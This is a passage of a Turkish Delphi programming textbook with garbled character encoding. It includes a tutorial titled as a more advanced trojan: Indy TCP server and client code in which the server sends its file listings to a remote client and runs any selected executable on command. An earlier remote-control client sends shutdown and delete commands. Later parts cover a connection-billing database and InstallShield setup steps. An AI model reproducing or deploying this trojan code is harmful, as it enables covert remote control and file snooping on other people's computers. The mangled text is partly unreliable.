begin
mesaj:=InputBox('Mesajı Giriniz','Mesaj','Selam');
begin
IdTCPClient1.WriteLn(mesaj);//gönder
end;
end;
//Dosya Sil
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('sil');//gönder
end;
end;
//Kopyala
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('kopyala');//gönder
end;
end;
//Ellips Yap
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('elips');//gönder
386
end;
end;
//ComboBox Aç
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('comboac');//gönder
end;
end;
var //Bilgisayarı Kapat
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('kapat');//gönder
end;
end;
begin
StatusBar1.Panels[0].Text:='Ba÷lantı Kesildi';
end;
//Ba÷lantıyı Kes
begin
IdTCPClient1.Disconnect;
end;
ùimdi iki uygulamayı da aúa÷ıdaki úekilde yanyana getirerek çalıútırın (veya
varsa iki bilgisayarınız ayrı ayrı bilgisayarlarda da çalıútırabilirsiniz. Zaten asıl
amaç budur).
387
Client uygulamasından yapmanız gereken ilk iúlem “Ba÷lan” dü÷mesine
tıklayarak servera ba÷lanmayı sa÷lamak olmalıdır. Arkasından dü÷melere teker
teker tıklayarak etkisini di÷er bilgisayarda izleyebilirsiniz.
Aúa÷ıdaki ekran görüntüsü “Note Pad” çalıútır dü÷mesine tıklanıldıktan sonra
alınmıútır (tabiiki di÷er makinedeki notepad çalıútı).
Ba÷lantıyı kes dü÷mesine tıklamadı÷ınız sürece (baúka sebeplerden de ba÷lantı
kesilebilir) di÷er dü÷meleri de deneyebilirsiniz.
Server programının çalıúma mantı÷ı, gönderilen text formatlı mesajları
dallanmaya tabi tutarak herbiri için farklı kodların iúletilmesini sa÷lamaktan
ibarettir (uzantan kumanda cihazlarında da yayılan ıúıgın rengi
dallandırılmaktadır).
388
Uygulama 14:Daha Geliúmiú Bir Trojan
Bu örne÷imizde yine iki proje oluúturaca÷ız. Server uygulaması gönderilecek
olan komutları yorumlamak için oluúturulacak, Client uygulaması ise servera
komut göndermek için kullanılacaktır. øki uygulamaya ait tasarım görüntüleri
Server Uygulaması
Örne÷imiz için formunuza bir adet FileListBox, bir adet DirectoryListBox ve
bir adet DriveComboBox (üçüde Win 3.1 yapra÷ında bulunabilir) yerleútirin.
Ardından IdTCPServer ve bir adet Memo kontrolünü formunuzun üzerine alın.
Son olarak aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
begin
DriveComboBox1.DirList:=DirectoryListBox1;
end;
procedure TForm1.DriveComboBox1Change(Sender: TObject);
begin
DirectoryListBox1.Drive:=DriveComboBox1.Drive;
end;
procedure TForm1.DirectoryListBox1Change(Sender: TObject);
begin
FileListBox1.Directory:=DirectoryListBox1.Directory;
end;
389
var
makina:AnsiString;
begin
makina:=AThread.Connection.Socket.Binding.PeerIP;
StatusBar1.Panels[0].Text:=makina+' Ba÷lanmak østedi';
end;
var
mesaj:AnsiString;
i,satir:Integer;
begin
mesaj:=AThread.Connection.ReadLn();//portu oku
if mesaj='calistir' Then
begin
WinExec(PChar(FileListBox1.FileName),SW_SHOW);//çalıútır
AThread.Connection.WriteLn('Uygulama Çalıútırıldı');
StatusBar1.Panels[1].Text:='Trojan Uygulama Çalıútırdı';
memo1.Lines.Add(mesaj);
end
else if mesaj='gonder' Then
begin
satir:=FileListBox1.Items.Count;
for i:=0 to satir-1 do
begin
AThread.Connection.WriteLn(FileListBox1.Items.Strings[i]);//satırı yolla
StatusBar1.Panels[1].Text:='Liste Gitti';
end;
FileListBox1.ItemIndex:=0;//ilk satıra git
end
else
begin
FileListBox1.ItemIndex:=StrToInt(mesaj)+1;
end;
end;
Uygulamayı çalıútırdı÷ınızda istedi÷iniz bir directory seçerek client
bilgisayardan gönderilecek olan komutu bekleyebilirsiniz. Koda dikkat edecek
olursanız client bilgisayardan “gonder” diye bir mesaj gelirse “FileListBox”
içerisinde yer alan tüm dosyalar di÷er bilgisayara gönderilecektir. ùayet
“calistir” diye baúka bir mesaj gelirse bu durumda da seçili olan “exe”
dosyasının çalıútırıldı÷ını göreceksiniz.
390
Client Uygulaması
Client uygulaması için aúa÷ıdaki gibi formunuza bir adet “IdTCPClient”, bir
adet “IdAntiFreeze”, bir adet “Timer” bir adet “FileListBox” iki adet
“Button” ve üç adet “Edit” kontrolü yerleútiriniz.
Programın çalıúma mantı÷ı úöyle olacak. Öncelikle “Ba÷lan” dü÷mesine
tıklayarak server bilgisayarına ba÷lanmalısınız. Daha sonra “Komut Satırı”
kısmına “gonder” yazıp “Komut Gönder” dü÷mesine tıklayın. Bu sayede
serverda yer alan tüm dosya listesi elinize geçmiú olacak (ne güzel de÷ilmi..).
Ardında bu dosyalar üzerinde çift tıklama yaparsanız (exe olsun yoksa hata
verir) server bilgisayarında o programın çalıútı÷ını göreceksiniz. Hatırlatalım
mous veya yön tuúlarıyla dosya isimleri arasında dolaúırsanız aynı iúlemi server
bilgisayarıda yapacaktır. Hadi kolay gelsin..
begin
FileListBox1.Clear;
Edit1.Text:='10.11.0.180';
Timer1.Interval:=100;
IdAntiFreeze1.Active:=true;
end;
begin
391
end;
begin
StatusBar1.Panels[0].Text:='Ba÷lantı Kuruldu';
end;
begin
StatusBar1.Panels[0].Text:='Ba÷lantı Kesildi';
end;
var
mesaj:AnsiString;
begin
mesaj:=Edit3.Text;
end;
procedure TForm1.FileListBox1KeyDown(Sender: TObject; var Key:
Word;
Shift: TShiftState);
var
sira:Integer;
begin
if (key=vk_UP) OR (KEY=VK_DOWN) Then
begin
sira:=FileListBox1.ItemIndex;
IdTCPClient1.WriteLn(IntToStr(sira));
end
end;
procedure TForm1.FileListBox1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
sira:Integer;
begin
sira:=FileListBox1.ItemIndex;
IdTCPClient1.WriteLn(IntToStr(sira-1));
end;
var
oku:AnsiString;
begin
begin
oku:=IdTCPClient1.ReadLn();
392
FileListBox1.Items.Add(oku);
end;
end;
procedure TForm1.FileListBox1DblClick(Sender: TObject);
//server da dosya çalıútır
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('calistir');
oku:=IdTCPClient1.ReadLn();
end;
end;
ùimdi iki uygulamaya ait “exe” dosyalarını aynı anda çalıútırın.
Server uygulamasını çalıútırdıktan sonra herhangi bir klasörü seçerek
içerisindeki dosyaları yukarıdaki úekilde listeletin. Dosyaların içerisinde “exe”
olmasına dikkat edin çünkü birazdan gönderece÷imiz komutla bu “exe”
dosyalarını çalıútıraca÷ız.
ùimdi de Client uygulamasından yapmanız gerekenleri açıklayalım. Öncelikle
aúa÷ıdaki gibi çalıúmasını sa÷layın. Server bilgisyarının “IP” sini ve port
numarasını (ikisindede aynı olacak) girerek “Ba÷lan” isimli dü÷meye tıklayınız.
Gerekli açıklama bilgileri status bara ait panelde sizlere iletilecektir.
393
Daha sonra “Komut Satırı” kutusuna “gonder” yazıp “Komut Gönder”
dü÷mesine tıklayın. Servera ait tüm dosyaların listeye eklendi÷ini göreceksiniz.
ùimdi yapmanız gereken tek úey bir “exe” dosyası bulup üzerine çift tıklamak.
394
Uygulama 15:Network Uygulamalarında Veri Tabanı Kullanmak
Örne÷imiz için yine iki ayrı proje geliútirece÷iz. Extra yapaca÷ımız iúlem tüm
kayıtları veri tabanına yazdırmak olacaktır. Amaç client uygulaması server
bilgisayarına ba÷landıktan sonra ne kadar ba÷lı kaldı÷ını tablolar halinde
tutabilmek (servis sa÷layıcınız sizin için benzer bir program çalıútırmaktadır).
Öncelikle aúa÷ıdaki tabloyu paradoxta oluúturunuz.
Server Uygulaması
395
Server uygulaması için yukarıdaki tasarımı oluúturunuz. Karıúıklıklara izin
vermemek için tüm iúlemlerinizi adım adım izah edece÷im.
Birinci adımda formunuza bir adet “Table” nesnesi yerleútirerek
yukarıdaki tablonuza ba÷layın (DataBaseName ve TableName).
økinci adımda formunuza bir adet “DataSource” ve Bir adet “DBGrid”
nesnesi yerleútirerek “DataSource” kontrolünün “DataSet” özelli÷ine
“Table1” , “DBGrid” kontrolünün de “DataSource” özelli÷ine
“DataSource1” kontrolünü aktarın.
Üçüncü adımda “table1” kontrolünü seçerek mousun sa÷ tuúuna tıklayın.
Açılan menüden “Fields Editor” seçene÷ini seçin. Beyaz bir pencere
açılacaktır, bu pencerede mousun sa÷ tuúuna tıklayarak “Add All Fields”
seçene÷ini seçerek tüm sütunları projenize ekleyin.
Dördüncü adımda formunuza bir adet “DBNavigator” kontrolü
yerleútirerek “DataSource” özelli÷ine “DataSource1” kontrolünü aktarın.
Beúinci adımda formunuza bir adet “Timer” ve bir adet “IdTCPServer”
kontrolü yerleútiriniz.
Bu adımda aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
var
sayac:Integer=0;
begin
StatusBar1.Panels[0].Text:='Ba÷lantı Bekleniyor';
Timer1.Interval:=1000;//bir sn
Timer1.Enabled:=true;
end;
var
makina:AnsiString;
begin
StatusBar1.Panels[0].Text:='Ba÷lantı østendi';
makina:=AThread.Connection.Socket.Binding.PeerIP;
try
Table1.Insert;
Table1ABONEADI.Text:=makina;
Table1BTARIH.AsDateTime:=Date;
Table1BSAATI.AsDateTime:=Time;
Table1KONTOR.AsCurrency:=100;
Table1SAYI1.AsInteger:=sayac;
Table1SAYI2.AsInteger:=33333;
396
Table1.Post;//Yazdır
except
end;
end;
begin
inc(sayac);
end;
var
ara:Boolean ;
fark:Integer;
adres,mesaj,zaman:AnsiString;
begin
mesaj:=AThread.Connection.ReadLn();//portu oku
if mesaj='kapat' Then
begin
adres:=AThread.Connection.Socket.Binding.PeerIP;
zaman:='';
ara:=table1.Locate('ABONEADI;SON',VarArrayOf([adres,zaman]),[]);
if ara Then//Kayıt bulunduysa
begin
Table1.Edit;
Table1.FieldByName('ASAATI').AsDateTime:=Time;
Table1.FieldByName('SAYI2').AsInteger:=sayac;
fark:=Table1SAYI2.AsInteger-Table1SAYI1.AsInteger;
Table1SON.AsString:='KAPALI';
Table1TUTAR.AsCurrency:=Table1KONTOR.AsCurrency*fark ;
Table1.Post;
end;
StatusBar1.Panels[1].Text:='Bilgisayar Ayrıldı';
end;
end;
Tablo da oluúturulan “SON” isimli sütun, sadece kayıt bulma aúamasında o
makinaya (birden fazla kere ba÷lanmıú olabilir. Ama sadece en son ba÷lantısı
boú olacaktır. Çünkü ba÷lantısı koptu÷u zaman sütuna “KAPANDI” de÷eri
yazdırılmaktadır) ait en son kaydın bulunabilmesi için eklenmiútir. Ayrıca
eklenen “SAYI” sütunları baúlangıç ve ayrılıú zamanlarını tutarak (sayac),
aradaki farkı “KONTOR” fiyatıyla çarpıp “TUTAR “ sütununa ait de÷eri
hesaplatabilmek için eklenmiútir.
397
Client Uygulaması
Client uygulaması için aúa÷ıdaki tasarımı oluúturunuz. Karıúıklı÷a yer
vermemek için yapılan iúlemleri adım adım izah edece÷im.
Birinci adımda formunuza bir adet “IdTCPClient” kontrolü ile bir adet
“IdAntiFreeze” (kilitlenmeleri engellemek için) kontrolü yerleútiriniz.
økinci adımda formunuza iki adet “Memo” kontrolü , iki adet “Edit” ve øki
adet “Button” kontrolü ekleyiniz.
Üçüncü adımda aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
begin
Edit1.Text:='10.11.0.180';
IdAntiFreeze1.Active:=true;
end;
//Ba÷lan
begin
if IdTCPClient1.Connected=false Then
begin
IdTCPClient1.Connect();//Ba÷lan
398
StatusBar1.Panels[0].Text:='Ba÷lantı Sa÷landı';
end;
end;
//Ba÷lantıyı Kes
begin
begin
IdTCPClient1.WriteLn('kapat');
IdTCPClient1.Disconnect;
end;
end;
procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
//Gönder
var
mesaj,oku:AnsiString;
begin
if Key=#13 Then //Enter tuúuna basarsa
begin
if IdTCPClient1.Connected Then //Ba÷lantı varsa
begin
mesaj:=Memo1.Lines.Strings[Memo1.Lines.count-1];
oku:=IdTCPClient1.ReadLn();//portu oku
Memo2.Lines.Add(oku);
StatusBar1.Panels[1].Text:='Mesaj Gönderildi';
end;
end
end;
ùimdi iki uygulamayı da aúa÷ıdaki úekilde alt alta gelecek úekilde çalıútırın
(farklı iki bilgisayarda çalıútırırsanız daha iyi olur). Ardından “Client
uygulamasında yer alan “Ba÷lan” isimli dü÷meye tıklayın. Kaydınızın otomatik
olarak “Server” uygulamasındaki tabloya yazıldı÷ını göreceksiniz (Ayrılıú saati
sütunu ile tutar sütunu boú bırakılmaktadır). Ardından “Ba÷lantıyı Kes”
dü÷mesine tıkladı÷ınızda boú bırakılan “ASAATI” sütunu ile “TUTAR” sütunu
hesaplanarak ilgili yerlere eklenecektir.
399
Önce “Ba÷lan” ardında “Ba÷lantıyı Kes” dü÷melerine tıklayın Server
uygulamanıza ait görüntü aúa÷ıdaki úekilde oluúacaktır.
400
BÖLÜM 13
SETUP PROJESø OLUùTURMAK
402
Setup Projesi Oluúturmak:
Oluúturdu÷unuz projeyi baúka bilgisaylarda çalıútırmak için setup dosyası haline
getirmeli, di÷er bilgisayarlara oradan yükleme yapmalısınız. Aksi takdirde
bilhassa içerisinde “BDE” uygulamaları olan projeler için bir çok hata mesajıyla
karúılaúacaksınız. Bu bölümde sizlere “Delphi” projelerinin setup dosyalarını
nasıl oluúturabilece÷inizi gösterece÷im.
Setup dosyası oluúturmak için “Delphi” “CD” si içerisinde bulunan
“InstallShield Express” yazılımını kurmanız gerekecektir. Aúa÷ıda pencere
gösterilmektedir.
“InstallShield Express” yazılımını kurduktan sonra “Windows” un Start
menüsüne aúa÷ıdaki úekilde eklenmiú olması gerekecektir.
ùimdi yukarıdaki adımları izleyerek “InstalShieeld->Expres” uygulamasını
baúlatınız.
403
Karúınıza aúa÷ıdaki pencere açılacaktır. Bu pencerede daha önceden hazırlamıú
oldu÷unuz bir setup projesi varsa ve onu açmak istiyorsanız “Open a Project”
seçene÷ini, yeni baútan bir setup dısyası oluúturacaksanız “Create a new
Project” linkine tıklamalısınız.
Biz yeni baútan bir setup dosyası oluúturaca÷ımız için “Create a new Project”
seçene÷ini seçerek aúa÷ıdaki pencerenin açılmasını sa÷ladık.
Açılan yukarıdaki pencerede “Blank Setup Project” iconunu seçip “Project
Name and Location” kutusuna “Setup dosyanızı kaydedece÷iniz klasörü
belirleyin (Herhangi bir klasör olabilir).
404
Ardından projenizin isminide de÷iútirerek (your project name-1) projenize
uygun istedi÷iniz bir isim verin.
Artık “Create” buttonuna tıklayabilirsiniz. Oluúturaca÷ınız setup dosyasını
belirtti÷iniz klasörün içerisine kaydedecektir.
405
Yukarıda gösterilen hücrelere uygun alan de÷erleri girerek bir sonraki adıma
geçiniz (Bu hücre de÷erlerine “General Information” Seçene÷ine tıklarsanız
eriúebilirsiniz.).
Bu adımda “Setup Types” seçene÷ini aktif hale geçirip programınızın kurulum
seçeneklerini belirleyebilirsiniz. Delphi sizlere kurulum için üç ayrı seçenek
sunmaktadır (Typical-Minimal-Custom) Diledi÷inizi veya hepsini beraber
seçebilirsiniz.
E÷er tüm seçenekleri seçerek di÷er adımlara geçerseniz herbiri için kurulması
gereken dosyaları ayrı ayrı belirlemek durumunda kalırsınız (Genellikle çok
büyük uygulamalar için gerekli olabilecek bir seçenektir).
Yukarıdaki seçeneklerden “Typical” olanı seçip di÷er adımlara geçiyoruz.
Bu adımda “Specify Application Data” bölümünü aktifleútirin. Yukarıda
seçmiú oldu÷unuz kurulumlara ait kullanılacak olan dosya ve klasörlerin
tamamını buradan ayarlamalısınız.
En üst bölümden “Allways” seçene÷ini seçin (Sadece Typical iúaretli ise
di÷erleri gözükmeyecektir), kurulması zorunlu olan dosyaları bu bölümde yer
alan “Destination Computers file’s” kısmına ekleyin. “INSTALLDIR” aktifken
“projenize ait exe dosyasını, “DATABASEDIR” aktifken de uygulamanızın
kullanaca÷ı veritabanı dosyalarını ekleyin.
406
Pencerenize ait en son ekran görüntüsü aúa÷ıda verilmiútir.
Kurulumunuz için gerekli dosyaları belirledikten sonra “Object/Merge”
bölümüne geçerek úayet varsa “BDE” ayarlarını yapalım.
“DataBase Desktop” la oluúturulan bir veritabanı ba÷lantınız varsa úimdiki
bölümde muhakkak bu iúlemi yapmanız gerekecektir.
Hatırlatalım sayet bir “ADO” kontrolü kullanarak Microsoft ürünlerine veya
di÷er veritabanı uygulamalarına ba÷lantı kurduysanız yine bu iúlemi uygulamak
zorundasınız. Aksi takdirde setup dosyanızı di÷er bilgisayarlara yükledi÷inizde
tabloların bulunamadı÷ına dair çok sıkıcı uyarılarla karúılaúacaksınız.
Programınızda kullanabilece÷iniz tüm veritabanı seçeneklerini “InstallShield
Object/Merge Modules” kısmında bulabilirsiniz. Yapmanız gereken tek úey bu
seçene÷in iúaret dü÷mesini aktifleútirmekten ibaret olacaktır.
Aúa÷ıdaki ekran görüntüsü “Object/Merge Modules” seçene÷i iúaretlendikten
sonra alınmıútır. Uygulamamızda sadece “BDE” Veritabanı tablolarından
407
bulundu÷u için, “InstallShield Object/Merge Modules” kısmından “BDE_ENT”
seçenek dü÷mesini aktif hale geçirin.
Karúınıza “Welcome to the BDE Object Wizard” penceresi açılacak, Delphi
sizleri yönlendirecektir. “Next” dü÷mesine tıklayın.
Bu pencereden programınıza
belirleyebilirsiniz.
408
ait
ayar
dosyalarının
tutulaca÷ı
bir
dosya
“Next” dü÷mesine tıklayarak di÷er pencereye geçebilirsiniz. Yeni pencereden
“BDE” uygulamaları ile yeni bir dosya oluúturaca÷ımız için “Launch”
dü÷mesine tıklayın. Aúa÷ıdaki pencere açılacaktır.
Bu pencerede “Add” dü÷mesine tıklayarak uygulama içerisinde kullandı÷ınız
“Alias” isimlerini belirleyin. Karúınıza aúa÷ıdaki pencere açılacaktır.
“Alias Name” kısmında programınızın kullandı÷ı tüm “Alias” ları seçerek
uygulamanıza ekleyin. Hatırlatalım setup projenizi yükledi÷iniz bilgisayarlar bu
alias isimlerini kullanarak tablolarınıza ba÷lanabilecektir. Bu yüzden tüm client
bilgisayarlarda “Alias” ayarlarını teker teker yapmak zorundasınız. Aksi
takdirde yine ba÷lantı sa÷lanamadı÷ına dair sinir bozucu uyarılar alırsınız.
409
“Next” ve “Finish” dü÷melerine
tamamlanmasını sa÷layınız.
tıklayarak
“Wizard”
iúleminizin
Gelelim “Configure The Target System” bölümüne, bu kısımda, setup projeniz
di÷er bilgisayara kurulurken oluúturaca÷ı kısayolları belirlemenizi sa÷layacaktır.
Yukarıdaki pencerede “Program Files” altına ve “Desktop” üzerinde iki adet
kısa yolun oluúturulması sa÷lanmaktadır. Aynı mantıkla úayet Registry ye kayıt
yaptıracaksanız “Registy” bölümüne gerekli eklentileri yapmalısınız.
Uygulamanıza ait tüm setup ayarlarını tamamladıktan sonra derlenmesi iúlemini
baúlatabilirsiniz. Bu iúlem için “Prepare for Release” seçene÷ini seçerek, bir alt
klasöründe gösterilen “Build Your Release” penceresinin aktifleúmesini
sa÷layın. Aúa÷ıdaki pencere açılacaktır. Bu pencereden setup dosyasını
oluúturaca÷ınız media cihazını belirlemenizi isteyecektir. “CD ROM” veya
“DVD ROM” seçeneklerinin herbiri burada mevcuttur. Birden fazla “DVD
ROM” gösterilmesinin sebebi kapasite farkından kaynaklanmaktadır. Sa÷
kısımda yer alan yükleme seçene÷ini seçerek, mous ile üzerinde sa÷ tuúa
tıklayınız. Açılan menüden “Build” sekmesine tıklayarak uygulamanızın
derlenmesini sa÷layınız. Derlenme anında en altta yer alan pencere sayesinde
yapılan tüm iúlemleri detaylı olarak izleme imkanına sahip olacaksınız.
ùayet bu pencerede herhangi bir hata mesajı almazsanız uygulamanızın düzgün
bir úekilde Compile edilmiú oldu÷u anlamını çıkarabilirsiniz.
410
Uygulamanızın “Compile” edilmiú halinden sonraki ekran görüntüsü aúa÷ıda
verilmiútir.
Setup Projesinin Di÷er Bilgisayarlara Yüklenmesi:
Derlemiú oldu÷unuz projeyi di÷er bilgisayarlara yükleyebilmek için aúa÷ıdaki
adımları izlemelisiniz.
Setup projesini oluúturdu÷unuz klasörü açın (CD ROM ). Setup Dosyanız
içerisinde aúa÷ıdaki úekilde gözükecektir.
“TeknikServis2003” (vermiú oldu÷unuz ismi) klasörü üzerinde mous ile çift
tıklayın. Aúa÷ıdaki adımları izleyin.
411
“....Teknikservis2003\Express\cd_rom\DiskImages\Disk1\setup.exe”
“Setup.exe” dosyasını çalıútırıp gerekli adımları izledikten sonra programınız o
bilgisayara yüklenmiú olacaktır. “Start->Program Files” seçeneklerini izlerseniz
aúa÷ıdaki úekilde bir görüntü elde edersiniz.
Aynı zamanda “Desktop” üzerinde “Migros” isimli kısayolu oluúturdu÷una da
dikkatinizi çekmek istiyorum.
ùimdi “Start->Program Files->Migros->Teknik 2003” adımlarını izleyerek
uygulamanızı çalıútırınız.
Programı çalıútırdıktan
gerçekleúecektir.
412
sonraki
ekran
görüntünüz
yukarıdaki
úekilde
SON SÖZ
Serimizin altıncı kitabını da tamamlamıú bulunuyoruz. Di÷er kitaplarımıza
göstermiú oldu÷unuz ilgiyi aynen devam ettirmeniz en büyük temennimiz
olacaktır. Kitaplarımız hkkındaki tüm eleútiri ve önerilerinizi
[email protected] adresine gönderebilir, karúılaútı÷ınız problemler için
bu adresten çözüm isteyebilirsiniz.
TCP/IP Protokolü hususunda bilgisinden faydalandı÷ımız Osman ÇALIù’a
teúekkürü bir borç bilmekteyiz.
413

Untitled

Transkript

Benzer belgeler

kapak.fh11

HABER tığ TEBER

Nem Adsorbe Edici Polimerler testo 880 Yeni termal kamera

Phrasen: Reisen | Flirten (Türkisch-Spanisch)

kapak.fh11